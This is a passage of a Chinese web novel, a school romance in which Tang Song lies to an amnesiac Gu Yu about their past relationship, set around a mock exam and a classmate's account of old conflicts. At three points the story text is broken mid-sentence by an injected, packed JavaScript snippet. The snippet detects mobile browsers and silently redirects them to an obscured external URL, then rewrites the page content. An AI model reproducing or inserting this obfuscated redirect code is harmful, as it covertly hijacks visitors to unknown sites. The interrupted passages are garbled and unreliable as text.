唐松看着顾渝的黑眼圈,板着脸道:“你离程师傅太近了,一身酒味,万一被抓了怎么办。” 顾渝:“?”这是什么逻辑,他也没喝啊。 不过顾渝也没有强求,唐松可能有他自己的理由,于是他便从善如流地坐到了前面去。 一路无话,顾渝晚上经常失眠,平常上课的时候还可以凭借专注力忍耐着,但是一旦放松下来,就开始在车上昏昏欲睡。 颠簸之中,他竟然真的点着头睡着了。醒来的时候车子已经停在了陌生的路边,唐松手里握着两罐汽水,比起平时来脖子和耳朵染上几分粉红,见他醒了,将汽水丢给他。 顾渝接过汽水,碳酸在他嘴里爆炸来开之后,才稍微清醒了一点,四下一望:“这是哪?” “随便停的。” “你累了?”顾渝要站起来,“你累了换我来。” 唐松倚着车把手,抻了个懒腰,看向远处的风光:“今儿天气看着不错,停下来吹吹风。” 顾渝顺着他的视线望向远方。 附近好像是公园,远处大片大片的银杏和枫树冒出一点红黄的秋意,风一吹过,带起一点草木清新的气息。 在这样一个寻常的,平和的午后,城市的时间缓慢地流淌着。在路边晒着太阳打盹的老大爷和狗,慢悠悠散步的行人,扫地的环卫工人动作不疾不徐,连风划过树叶,带起的沙沙声也是和缓的。 唐松叫顾渝让开,自己也到前面去了,倒下去半躺在车上,在柔软不躁的阳光下享受了片刻宁静时光,“嘿,这小风,小阳光,真不错。” 顾渝撑着手,垂头看着他,眼里掺杂了一点笑意:“嗯。” 顾渝的心里感受到久违的安宁。他第一次发现在这种时刻,自己竟然可以什么都不思考地,只是坐在这里放空脑袋。 这里没有人会要求他做任何事情,没人追赶他,没人逼迫他,一切都松弛而又和缓。 也包括这位这位闭着眼睛吹着风的少年。 顾渝是个闷葫芦,他不接话,唐松没两分钟就坐起来,掏出手机,“那正好趁现在吧,顾司机,唐老板要给你发钱了。鉴于你是第一次干活,还给我做了饭,这回我分你一半。” 他大手一挥一副土大款的气派,下一秒,“叮”地一声,在这层云如卷的平静秋日下,顾渝手机里一道清甜的女声响起:“支付宝到账,二百五十元。” 唐松晃晃手机,嘴角一勾:“给你转了,二百五。” 不知道在指桑骂槐什么。 顾渝:“……”这人怎么会这么幼稚。 他问:“什么意思?” “还能有什么意思,”在逞口舌之快这一方面唐松从来不放过任何一次机会,“二、百、五。字面的意思。” 顾渝想问的当然不是这个:“我是说,为什么要给我一半。” 赚钱的路子是唐松的,车子也是唐松的,比起资源和渠道来说,劳动力在市场上其实是最廉价的存在,可尽管如此他还获得了一半的报酬,况且这二百五十块钱,也不仅仅是上次去RUST赚的,还有顾渝不在的时候,唐松自己一个人一点点攒下来的钱。 这下,唐松的口舌又快不起来了:“我不是说了吗,因为你要替我保守秘密,这是给你的封口费。” “嗯,”顾渝嘴角轻轻弯了弯,一下明白了他的意思,“谢谢你。” 顾渝似乎很喜欢说谢谢。 “那礼尚往来,我也……谢谢你,”唐松嘴唇动了动,他这张嘴骂人不打锛儿的时候多,说谢的时候屈指可数,显得极其生涩,“因为今天老头挺开心的,多亏了你。” 唐松十岁出头的时候就认识了程师傅,当时程师傅脾气大得很,邻里不愿跟他来往,说他是个怪老头。 唐松脸年纪小的时候,有段时间总是饿肚子,程师傅接济他几顿饭,他就硬贴上去了。程师傅这人心眼不坏,人到晚年,妻离子散,成了孤寡老人一个。他喜欢热闹,喜欢和小辈说话,只是唐松却又不敢让他太热闹。 顾渝问:“程爷爷为什么住在那里,做生意也能赚到不少钱吧。” “还不都是他那个儿子,”唐松眉头皱了起来,“在北城那边又是买车又是买大平层,买了又还不起贷款。老头也是傻,甘愿每个月往卡里打钱,就冲着那点血缘关系,也不看看人家念不念着他,这么多年都没来看过他一回。” 唐松几口将汽水一饮而尽,重重呼出一口气,“而且他也离不开奉宁。” 顾渝敏锐地察觉到程师傅似乎也有一些不为人知的过去,不过唐松没说,他没有再问下去。 虽然唐松似乎还想说些什么,但一道略带疑惑的女生从他们身后响起:“顾渝?唐松?你们怎么在这?” 唐松猛然抬头,只见他们班的两个女同学乐以晴和管雁手挽着手,一人一手拎着奶茶,以不亚于秦云鹤那天震惊的表情正看着他们两个。 几乎全班同学都知道他俩关系相当之不好,因此根本无法想象顾渝和唐松以一种不那么剑拔弩张甚至可以说是和谐安宁地出现在同一个画面里。 更别说是一个空间较小的,一看就不可能是偶然遇到的……交通工具里面。 还挨得那么近。 而且管雁早就发现他俩了,在她们上来打招呼之前,这俩人对着笑得比阳光还灿烂。 十分诡异,分外诡异。 乐以晴看着他俩,试探着道:“你们这是……” 顾渝对乐以晴和管雁只有一个模糊的印象,因此没什么特别的反应,杵在原地冲她俩点了点头。 而唐松大脑霎时一片空白,他来不及想太多,一伸手死死勒住顾渝的脖子,慌乱之中开始口不择言起来:“没看到吗,我……我们在打架!” 管雁尴尬道:“啊哈哈,那、那你们关系还挺好的啊。” 唐松立马反驳道:“哪里好了?你看错了,你们离远点吧,小心我俩血溅当场,殃及池鱼。” 乐以晴和管雁对视一眼,心照不宣地从对方眼底读到了一丝八卦的神色。 乐以晴努力控制住自己的表情,推推手:“啊……这样啊,那你们忙。”赶忙拉着管雁飞一般地逃走了。 刚走出没两步,乐以晴掏出手机赶紧在她们寝室群里公开八卦,她们寝室四个人,正好都是八班的学生。 【每天都乐乐乐乐乐】:你们猜我和yy刚才在街上看到谁了? 【高三就要创死全世界】:谁啊,教导主任又领着他小孙女上街了吗? 【每天都乐乐乐乐乐】:Noooooo!我们看到了顾渝和唐松!他俩好像开着那个倒骑驴,我俩一说话,唐松脸都绿了。 【yy】:什么,他明明是一脸娇羞搂着顾渝的脖子躲到他身后去了。 【每天都乐乐乐乐乐】:?exm??我们看到是同一幕吗? 【黑皮体育生(二级183版)】:?顾渝已经落魄到拉倒骑驴接客赚钱了? 【yy】:这是重点吗!!重点是他俩竟然放假都在一起啊! 【高三就要创死全世界】:所以他俩在一起干啥。 【每天都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883029|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐乐乐乐乐】:据唐松所说,他俩在约架。 【黑皮体育生(二级183版)】:骑倒骑驴约架啊,上演GT倒骑驴极速狂飙?还是倒骑驴与激情8啊? 【yy】:老天,我磕死了。 【高三就要创死全世界】:?你又是怎么回事?? 【高三就要创死全世界】:(语重心长)什么都磕只会害了你! 【yy】:我眼中的风景,不足为外人道也!(小骄傲.jpg) * 而另一边,唐松看着乐以晴和管雁走远后,终于松开勒住顾渝的手臂,心有余悸:“你坐着,怎么不告诉我一声她俩来了。” 万一让别人知道了他和顾渝在演哥俩好的戏码,那他在学校还要不要面子了。 没人应他,一抬头,顾渝眼神幽怨地看着他:“所以,为什么要跟她们说我们感情不好?” 唐松:“……” 唐松:完了,忘了这茬了,这家伙还是他亲亲热热的“好兄弟”呢。 顾渝郁闷地道:“项博明也是,秦云鹤也是,她们两个也是,看到我们在一起的反应怎么都这么奇怪。” 就好像他俩出现在一起,很奇怪一样。 唐松冷汗直流,一时回答不上来。 不会这就要被发现了吧,他要弃车逃跑吗? 不是,他才刚刚吃了顾渝一顿饭啊! 好在顾渝自己想了一会,主动提供了一个自圆其说的答案:“是不是我们在学校里,要一直假装关系不好?” 唐松:“……”故障的脑子转得竟然比他还快。 “对!没错!正是如此!”唐松抹了额头上一把不存在的汗,闭着眼睛扯谎,“是因为我在学校风评没有很好,你之前又是学生会主席,我怕影响到你光辉伟岸的形象,被老师歧视,所以我们只能假装不熟。” “那项博明呢?他也不知道?”明明项博明那一天看他和唐松的眼神,跟看被灌了迷魂汤的朋友又跟渣男在一起的时候的眼神别无二致。 是他猜错了? 唐松闭了闭眼,心一横给顾渝抬了个咖:“他怎么可能知道,我们的关系,当然不足为外人道也。” 唐松在心里给项博明道歉:虽然他也说不上来他和顾渝的关系怎么就不足为外人道也了,但是对不起了兄弟,你就先做一会儿外人吧。 顾渝点点头,觉得非常有道理。他们两个既是早恋,又是不被世俗承认的同□□情,的确是越少人知道越好,即使是关系亲近的朋友,估计也很难启齿,在学校里装作关系不好才最安全。 所以项博明敌视他的原因,竟然是因为误会他和唐松关系不好吗? 顾渝突然有些不知道说什么好。 一直隐藏关系肯定很累,男朋友就在身边却还要不停演戏,正常人应该都无法忍受。 唐松竟然还是因为怕影响他,把自己放在了下位方,甚至连好兄弟都没说。 原来唐松背地里为他做了这么多,可他却什么都不知道。 顾渝感动不已:“你……辛苦了。” 唐松闭着眼昧着良心,没想到顾渝真的会相信这么离谱的谎言:“应该的,这算什么。” 顾渝又说:“以后不要这么做了,你很好,不要说歧视这种话,所以我们可以正大光明地……” “千万不要!”唐松赶忙打住他,“你不知道人心的险恶,所以我们还是这样安全一点!” 顾渝点点头,沉默着想,苦涩之中夹杂了一点甜蜜,他对我可真好啊。 顾渝本以为唐松之前说他和项博明是什么“学习上有力的竞争对手”是随口忽悠他的,没想到周三一模考的时候,项博明和他在走廊上擦肩而过,施施然走进了第一考场,坐到了门口的第一个位置上。 18. 一模考 十一高分配考场的传统是按上次考试的成绩来排名,第一考场聚集的都是最顶尖的学霸,而靠门位置的第一个座位,则是上一次考试的全校第一名。 顾渝从不以貌取人,但是项博明坐在那个位置上从门里冲他做鬼脸的时候,还是莫名觉得有些违和感。 项博明甚至把头也伸出门外:“顾渝你等着,这次考试我绝对碾压你,给松子报仇雪恨。” 顾渝快步走开了。 因为顾渝缺席了半年的考试,没有成绩的记录,因此被排在了最后一个考场的最后一个位置,一进考场,讲台上摆着各式各样的书包,大部分人都在看书看考点,试图做最后的挣扎。 奉宁十一高是奉宁的重点中学,分数线很高,一本率几乎在百分之九十左右,因此除了个别特殊情况,大部分都不是那种会完全放弃挣扎企图自生自灭的学生。 其他人或多或少都认识他,或者见过学校光荣榜上顾渝的照片,看到顾渝进来了,翻页的声音稍稍停了,略带好奇的视线投在他身上。 顾渝落座之后,坐在前面戴眼镜的男生立马转头过来跟他搭话:“顾渝,我在学校群里听他们说你诈尸了,我本来还不信,你真的回来了啊。” 顾渝疑惑地看着面前的陌生的脸,“你是……” 眼镜男把眼镜一摘,把脸又凑近了一些,指了指自己:“我啊,章邵,我半夜在被窝里打金铲铲结果近视了,才戴的眼镜。我们之前都是第一考场的,考完试总找你要答案的那个。” 顾渝犹疑地点了点头,显然是完全不记得这个人了。 不过章邵并没有注意到,感慨道:“我们今天也真是落魄到一起去了,我上次考试吃了东门那家煎饼果子和两个茶叶蛋,结果理综考到一半一泻千里,英语也缺考了,没想到能在这遇到你。” 他有些兴奋:“那正好考完试我们一起……” 话还没说完,有人拍了拍他的桌子:“这是你位置吗?” 顾渝和章邵抬头一看,唐松顶着一副鸟窝头,睡眼惺忪的样子,一看就是早上睡过头了。 “啊……我看看,”章邵看起来有点害怕唐松,看了看自己的准考证和贴在桌子上的号码,“还真是我坐错了,不好意思不好意思,我应该在你前面才对。” 他在桌子上胡乱把自己散乱的笔抓起来,冲顾渝眨了眨眼睛:“考完再说。” 唐松插着兜站着,这才好像刚看到顾渝似的,给了他一个不咸不淡的眼神:“你怎么在这?” 他一屁股坐下,手肘几乎全搁在顾渝的桌面上:“校长竟然舍得把你分到这里来?” 顾渝的脸色一言难尽:“你怎么也在这。” 虽然他没什么立场指手画脚,也对唐松的成绩有所预料,但是唐松的分数,居然还没有人家缺考两门的成绩高? 唐松显得毫无羞耻心:“我确实不该在这,平时我都是坐你这个座位的。” 也就是,最后一名。 唐松会考到最后一名不是没有理由的,他也许不是全都不会,而是纯粹的摆烂。 顾渝在考试间隙偶尔抬头看他一眼,发现除了答语文的时候坚持写到了最后一秒,答别的科目的时候只会在开始十分钟内奋笔疾书不知道在写些什么,其余时间除了偶尔视线望向窗外不知在想一些什么人生哲学之外,就是趴在桌子上睡大觉。 他丝毫不关心自己的成绩,反而对顾渝很是上心,上午考语文,下午数学,考完一科他就问一句:“手感怎么样?” 通常一模为了鼓舞高三士气,题目设置的不会太难,但是对于顾渝来说,其实是第一次参加这种考试,一时之间他也说不上来是好是坏。 不过好在本考场还有一位非常乐于对答案的章邵同学在,他把自己的答案都记在了草稿纸上,考完数学之后捏着草稿纸来找顾渝,“快看看快看看,有没有不一样的。” 顾渝没有记答案,但对题目还有印象,看了几眼之后,把他和章邵不一样的地方都圈了出来。 选择题和填空题基本上是大差不差的,偶尔马虎一两个,多选题没选全虽然是常有的事,但像他们这种学生,比拼的东西其实不单纯在于答案写没写对,而是大题的步骤踩对了几个得分点。 章邵看了之后挠了挠头:“怎么这么多不一样的啊,完蛋了。” 顾渝随口安慰:“没事,可能也是我错了。” 章邵只当顾渝是在谦虚:“那好吧,等明天考完之后去一场那边再和其他人对一对好了,这考场不行,没一个能打的。” 这话说得虽然是事实,但场合却不太对,他们学习是不行,但是也不至于当面被人这么说。 唐松被彻底无视之后本来就有点不爽,现下那点不舒服的劲儿现下更甚了。 他打量了一下章邵,出声道:“同学,请问你哪位?” 他语气其实并没有什么不妥之处,甚至还刻意放和缓了一点,但章邵却像被吓了一跳一样,赶紧向顾渝投去求助的眼神。 顾渝没有读懂他眼神里的意思,以为章邵没听清,重复道:“嗯。他在问你是谁。” 章邵:“……” 章邵:“那个,我是四班的。” “四班的啊,”唐松拉长了语调,点了点头,“记住你了。” 章邵不知道这位刺头说得是哪种记住,一时之间笑容僵硬在脸上,也没跟顾渝打招呼,直接回座位上坐下了。 唐松把又把半个身体都摊在顾渝的桌子上,竖起掌附在嘴边小声道:“他是谁啊?跟你很熟吗?” 顾渝垂眼,看到他头顶的发旋,滚圆滚圆的,“不认识,以前好像是在一个考场考过试。” “原来不认识啊,”唐松说,“看着跟你很熟的样子。” 顾渝不明白只是对个答案而已,哪里看起来熟了。不过他隐隐约约察觉了唐松的潜台词,从善如流道:“嗯,下次不会了。” 唐松:?我不是这个意思。 两天的考试很快结束了,最后一科英语考完之后,监考老师收了卷子之后唐松立马从讲台上提了包要走,走之前在门口看了一眼顾渝。 意思是,要一起走吗? 两个人晚上约好一起去RUST,只是顾渝等会还有点事要做,在讲台上找到自己的包之后,刚想让唐松先回去,章邵就凑到他身边:“顾渝,走啊,去一考场,和他们对对答案去。” 顾渝正要去一考场找人,想了想,点了点头。 见顾渝点头,章邵又接话说:“物理,天体那道第三问的轨道半径你结果是多少?那道题虽然出的不难,但我算出了一个巨奇怪的结果。” 顾渝说了一个值,章邵拍了拍胸脯松了一口气:“对上了对上了,吓死我了,我还以为我算错了呢。” 唐松在门口看着他们俩说得热火朝天,心里那股不爽的感觉再一次充盈了,甚至做出了平时在学校里绝对不会干的事情,不耐烦地说:“喂顾渝,你走不走?” 顾渝抬头,有些错愕地看着他。 唐松这是,不想瞒着他们俩的关系了吗? 章邵也没想到唐松杵在那当门神,原来是在等顾渝,有些尴尬:“那个……我出去等你。” 顾渝背上包,走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883030|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐松身边,身体微微靠近他,用只有他们两个能听到的音量说:“我有事晚一点。” 唐松撇他一眼:“你别忘了我们还有别的事。” 顾渝“嗯”了声,哄他:“不会太晚,你先回家,晚上我做饭。” 唐松别过头去,没说话,但毫无征兆地,气消了。 章邵在前头回头看了他俩一眼,眨了眨眼睛。 奇怪。不知为何,总感觉他们两个有种……说不上来的磁场。 * 第一考场几乎没有人走,考完试对答案已经是常态,大家把几个桌子一并,记好的答案搁在手边,围在桌子旁边一圈,看起来像是什么简易江湖版本的圆桌会议。 “数学最后一道题绝对是ACD吧,用洛必达法则秒了。” “对对对我也是ACD。” “那道题根本用不上洛必达好吗,它要是个大题你根本没法往上写,用极限加换元,夹逼定理就能做。” “你小子纯纯找事儿。” 顾渝和章邵进来的时候,一大帮人正热火朝天的讨论数学压轴题的最后一问,章邵在门口大声地说:“顾渝来了。” 讨论的声音暂且停了,一桌人回头看着顾渝和章邵,有人惊奇道:“诶我靠,顾渝……” “你也来考试了啊。” “我之前还以为你就直接转学走了,不在我们这读了呢。” “我听说你受伤来着,一直没上学啊?” 他们左挤右挤让出两个空位来,顾渝看着一个个完全不认识的脸,有些不知道该怎么他们打交道。 但大家似乎都跟他还算熟悉的样子,于是他上前几步,手指刚触碰到桌子的边缘,忽然感受到一股强烈的视线,一抬眼,项博明站在对面,一双铜铃大眼狠狠地瞪着他。 顾渝:“……” 恰好此时有人打趣道:“老项,这回顾渝回来了,你危险了啊。” 项博明看起来并不是很在意这个,嗯嗯呀呀敷衍了几句,“快点对答案吧,我要赶紧回家。” 顾渝加入对答案大军,这群尖子生凑在一起一合计,基本上分数也差不多能估计出来了,到了他们这一步,大家的层次差距都变得很小,顾渝其实并不是很介意什么“学神”不“学神”的称号,以及他到底能拿到什么排名。 不过听其他人说,他虽然是竞赛生,但高中两年之中的考试几乎次次都是全校第一,成绩非常稳定,光环不小。 而且唐松看起来,好像有点期待他考的好一点。 顾渝虽然清楚虽然没有忘记学过的东西,但总归是在其他人都刻苦读书的时候,他有大半年时间都没有学习,在这种高手如云的学校里,被超越也不算奇怪,但是被顾敛章灌输过的思想根深蒂固,顾渝不得不承认,叫他接受自己的失败,其实并没有那么容易。 章邵问他:“怎么样,能考多少分?” 顾渝皱了皱眉,他不是分享欲很强的那种人,因此觉得章邵有点越界了,只能模糊地说:“还行。” 没想到章邵以为他已经有十足的把握了,恭喜他道:“那就提前祝贺你了啊。” 这话声音要大不大要小不小,不知道被几个人听去了,四边的眼神又有意无意地投了过来,顾渝眉头皱得更深了:“不是。” 章邵笑了笑,没有接他的话。 对了十几分钟答案,每个人心里都有点谱了,各个神色各异地解散,走的时候,项博明路过顾渝身边,抬着下巴像是一只高傲的水犀牛。 没想到刚走一半就被顾渝叫住了:“等一下可以吗,我有话问你。” 19. 慌张 项博明以前每次去找唐松,后者不是在写检讨就是在扫操场,而罪魁祸首就在旁边门神一样死死盯着唐松。 那眼神带着一股说不清道不明的意味,项博明有一次不小心对上了,甚至控制不住打了个寒颤。 这是什么眼神?他想不明白。 他对顾渝没什么好印象,逻辑很简单,他视唐松为自己人,那自己人的敌人就是肯定就是他的敌人。 其他人都走光了,教室里只剩下他们两个人,项博明警惕地看着他:“你要干嘛,你别过来啊。” 顾渝看了一眼墙上的时钟,刚才对答案已经耽误了一点时间,他还要回家做饭,然后和唐松骑车去RUST,时间紧迫,因此单刀直入道:“我想问你点以前的事,关于唐松的。” 项博明梗着脖子说:“松哥的事情,你问我干啥,你直接问他啊。” “他不会告诉我的。”顾渝斟酌着说出自己的猜测,“我以前对他是不是……不太好。” 他感受的出来,其实现实没有日记里写得那么美好,他对唐松似乎也不像里面说的那样喜欢。 有很多事情他想不通。比如一开始唐松为什么对他抱有敌意,为什么骗他,为什么他们明明是男男朋友,可是唐松偶尔下意识说出口的话,僵硬的动作和微妙的表情,都昭示了他其实很不习惯这样的示好,只不过一直在忍耐。 而且唐松对他的了解有点太少了,甚至连他有纹身,他会做饭都不知道。 他知道自己沉默寡言,但是对唐松,难道也是这么冷漠吗? 项博明脸皱成了一团,“你是真心问出这个问题的吗?” 顾渝一愣:“是真的吗?” 项博明笑了,无语笑了。 他一边想着顾渝以前真是丝毫没把他们哥俩放在眼里,现在竟然想跑来装什么幡然悔悟的人设;一边想着他好兄弟未免也太豁达,为了不耽误顾渝学习,恩怨说放下就能放下。 虽然唐松之前叫他不要跟顾渝说这些,但是现在都考完试了,说一下,也没关系吧? 项博明决定出一把头,把一直以来的苦水都倒一倒,只不过捎带了一点添油加醋的个人色彩。 “行吧,那我就拨冗跟你掰扯一下好了。” 项博明随便找了个课桌坐下了,开始阐述顾渝的种种罪行, “高一那年,你进学生会的第一天,我和松子去取校服。你在边上拿着个小本子一直盯着他记来记去,真是新官上任三把火啊,去小卖部你也盯,上厕所你都不放过,不是,就算我们松子气质上是有点痞,没事时候又喜欢喜欢挥舞挥舞拳脚,但是他只是普通的走路,不至于被你当犯罪嫌疑人一样盯着吧。” 顾渝忽然想到日记里写的【今天发校服了,为了展示新校服一整天我都在他身边打转,他害羞了,我男朋友真可爱。】 ——顾渝恍然大悟。这个时候应该是他们刚谈恋爱的时候,热恋嘛,开始就是恨不得每天都黏在一起,项博明会误会,也是情理之中。 “还有一次,他把你叫去学校后面的小巷子,说要进行一场男人之间的战斗,回来的时候脸都黑了,我问他发生了什么他也不说,肯定是你又欺负他了吧。” 小巷子?这又和日记里的内容不谋而合: 【他今天下午邀请我明晚去学校后面小巷子,激动死了,第一次在学校约会,偷偷摸摸真刺激。】 【他生我气了,软绵绵的拳头轻轻打在我胸口,可爱可爱。真想把他摁在墙上,狠狠亲他,可是他不让我在学校这么做。】 ——顾渝再次恍然大悟。原来他们会佯装打架,实则在没人的地方偷偷谈恋爱。 可怜唐松,还要装作生气的样子陪他演戏。 “最可恶的是,”项博明义愤填膺,越说越起劲,“他不过是在学校里赚点外快,你居然叫老师让他扫半年操场,那个操场那么大,他一个人诶——不过松子足智多谋,他让你看着他扫,这也算是和他一起受罚了。” 【每天都和他一起在操场上约会,偶尔一个眼神相交,是彼此都心知肚明的喜欢,我不说,他不说,谁也不知道我们相爱的事。】 ——顾渝再再次恍然大悟。原来唐松之前说的“每天都过来陪他”,真相竟然是唐松为了能和自己光明正大地呆一会,宁愿受罚去扫半年的操场。 “我一直觉得你在故意针对他。是,就算打架不对,但是有好几次他都是为了帮孔正浩,因为他总在外面被那帮小混混抢钱。你明明都知道,还故意出口奚落他,说什么‘呆在学校里就不会有这些事’‘都是你自找的’这种话刺激他。动不动就行使你那点权利让他写检讨,一写就是几千字,不写完还不让人回家,有没有天理了。” “他浑身是伤被你逼着扫地的时候你看不见,痛得都没法拿笔还让他写检讨的时候你看不见,帮人的时候你看不见,你只能看见他的不好,你以为他真的不在乎你说的那些话吗,你以为他没有自尊心吗?” 顾渝听完,一动不动了。 都对得上。结合着那本日记的内容,过去的一切已经十分清晰明了。 大约就是他对唐松一见钟情,进了这所学校以后死缠烂打之后终于把人追到手,但唐松为了保护他的形象,假装和他做死对头,并且一直在不停地让步和牺牲。 时间久了,他不喜欢唐松打架,不喜欢他和别人玩,因此对他的控制欲变本加厉,说话也是戳着对方的痛处说。而他仗着唐松喜欢他,对他为所欲为,愈发不珍惜他,结局就是唐松再也不堪忍受这一切…… 虽然不知道之后的他为什么会逐渐变成那种样子,但是毫无疑问地,他的确这么做了。 变成现在的他,最讨厌的样子。 顾渝讷讷道:“我竟然对他做了这么多过分的事情。” 他不但不帮男朋友分忧,不给男朋友做饭,不跟男朋友谈心,不让男朋友摸他,甚至还只顾着谈恋爱,让男朋友受这么多委屈! 这全都是他的错,是他太不懂得珍惜。 他真是,太坏了。 想必唐松就是在这一桩一件的委屈与妥协中,累计足够失望,然后彻底跟这份失败的感情割席。 所以再见面时他才会是那个态度,再也不想承认一切和以前有关的事情,也不想再见到他了。 然而,唐松忍心看他流落街头,竟然还愿意不计前嫌,和他做朋友。甚至还把这些事情都美化一番,还在顾虑着他的感情。 世界上怎么会有这么善良的人! 饶是项博明这种钝感力极强的人,都感受到了顾渝的低落情绪,他也是第一次看见顾渝这副模样,心里咯噔一声。 我说过头了? 这小子不会突然良心发现,但是一下子发现过剩,然后一蹶不振了吧? “那啥,”项博明后知后觉,找补起来,“你也不用太自责,毕竟事情已经过去那么久了,松子他早就不怨你了,上次他还说怕耽误你学习让我不要招惹你之类的呢。反正你知道错就好……也不用太放在心上。” 顾渝听了这话,身躯又是一颤。 “我……可能真的是个很差劲的人。” 猛然触碰到过去的真相,他和唐松相遇以来,一切让他无论如何也想不通的反应在今天终于找到了答案—— 还是最坏的的那一种。 顾渝茫然无措,失魂落魄地走了,只剩下项博明看着他单薄瘦削的背影,在后面无助挠头。 * “啊嚏,”唐松正窝在沙发里剥橘子,突然打了一个喷嚏,他吸了吸鼻子,嘟囔道,“谁特么骂我……怎么还不回来,饿死我了。” 他已经把菜切好了,等着顾渝回来下锅呢。 说话间,门口便传来钥匙开门的声响,有人进来了,唐松头也没抬,“你干嘛去了,搞这么久。” 门口的人“嗯”了一声,语气里夹杂着明显的低落情绪,但唐松还并没有察觉:“去第一考场那边对了一下答案。” “哦,”唐松从袋子抓起一个橘子扔给顾渝,随口问,“对个答案对那么久,我要饿死了,考得怎么样,能拿第一吗。” 顾渝说:“好像不能。 ” 唐松闻言,从沙发里抬起头来看他。 这才发现,顾渝的表情有点不太对劲。 平时的顾渝惯常挂着一副拒人于千里之外的冷淡表情,唐松早已经对他散发的冷气免疫了。 但今天却不太一样,顾渝站在他面前,漆黑的眼眸无神地看着他,还带着些说不清道不明的其他情绪,让唐松想起了开学第一天顾渝站在巷子口的样子—— 整个人有种说不出来的,空落落的感觉。 是因为……考试没考好? 他张了张嘴,安慰的话抵在喉咙边转了几个圈,却怎么也说不出口:“那什么,反正我这房子也没指望着靠你升值,所以你也不……” 只是话还没说完,下一秒,顾渝已经出现在了沙发的边缘处,俯视着他。 一瞬间,唐松被他身体的阴影笼罩了,顾渝垂头看着他,表情被掩埋在发丝的阴翳之中,叫人无法看清。 随着靠近,顾渝的气息一下将他包裹住,也许是姿势的问题,带着些让人不能忽视的侵入感。 他忽然想起在RUST的后街,顾渝毫无征兆地把他抱住的那个晚上,心里升腾起一点不妙的预感。 “你干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883031|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛?”他慌张地支起身体,面前的阴影缓缓降落—— 顾渝蹲在了他面前。 他们的位置颠倒过来,变成唐松要稍微低头,才能看见顾渝脸上的表情。 可这个姿势下,顾渝的脸和他的凑得太近,不知是不是错觉,唐松甚至能感到微凉的鼻息落在他脸上。 这完全是一个超越了安全社交距离的位置,导致唐松根本无法和对方对视,他偏开头,坐了起来。 “你干嘛?”视线落在沙发上的一兜橘子上,他重复。 顾渝却说:“你手是不是发炎了。” “啊?”唐松抬起手看了看,前几天伤口开始结痂,他就把纱布拆掉了,可能是不知道碰到哪里了,结痂的伤口附近有些红肿。 “好像是,没关系,过几天就好了。” 他不甚在意,顾渝却拿来了医药箱,洗了手,拿着消炎的软膏沾了,“伸手。” 唐松蜷了一下手指:“不用,我自己来也可以。” 顾渝却显得有些强硬,他半跪在地上,抓住他的手腕,直接伸手把唐松的滞在空中的手拽到胸前,又托在掌心。 他的手并不细腻柔软,因为常年干活,看起来不像是这个年纪的少年该有的,手上错落着新新旧旧的伤疤,指腹上也有一层薄薄的茧子。 看起来……不是很美观。 唐松试图把手抽回去,可顾渝抓着他手腕的力气很大,骨节分明,手指冰凉,混着药膏触碰到伤口边缘的皮肤时,让他不自觉地一颤。 让别人给他上药实在是太过矫情,并且被禁锢住的感觉不是很好受。 他很想挣脱。 但是,唐松看着顾渝垂下来的眼睫,想:今天是特殊情况,他考试失利情绪低落—— 那就……让让顾渝。 顾渝的动作很轻柔,上药上得意外仔细,可能是因为动作太轻,让唐松的结痂的伤口也不自觉地开始发痒,他一直忍耐着,可这种痒意积攒到一定程度时—— 条件反射下,他无意识地在顾渝的手心蹭了一下。 顾渝的动作一下停了。 唐松:“啊,有点痒……” 他下意识地想缩手,却被顾渝轻轻捏住了指尖,顾渝仰头看着他,那双眼瞳乌黑而清澈,清晰倒影着唐松的影子和错愕的表情。 下一秒,他把头缓缓靠了上来,身体躬下去,额头轻轻抵着唐松膝头。 是一种示弱的,近乎讨好的姿态。 “你……你干嘛?”唐松怔了一下,想把他的头推开,刚触碰到那团毛茸茸的头发,手底下忽然传来一个压的很低的、闷闷的声音。 “以后我会对你好的。” 唐松:?学霸的世界我不懂,考试考不好这么伤心吗。 都神智失常开始说胡话了。 还没等他缓过神来,顾渝就抬起头,湿漉漉的眼睛看着他,捉着他的手在附在脸颊边上蹭了蹭,“我也没有洁癖,你想摸哪里就摸哪里,几次都行。” “你想做什么我都陪你,你想说什么我都会听的。” “所以,不要再委屈自己了。” 唐松牙根有点酸,但是看着顾渝这幅样子,心里的慌张却不知不觉多过了得意,他嘴唇抖了抖,好心劝顾渝:“那个……我不委屈……其实你不用非要这样,咱还是给自己留点退路。” 顾渝这家伙,对朋友未免好得有点过头了。 可惜对象怎么是他,顾渝真心错付。唐松头一回感到自己,有点难以承受这份感情了。 他骗顾渝,真的是对的吗? 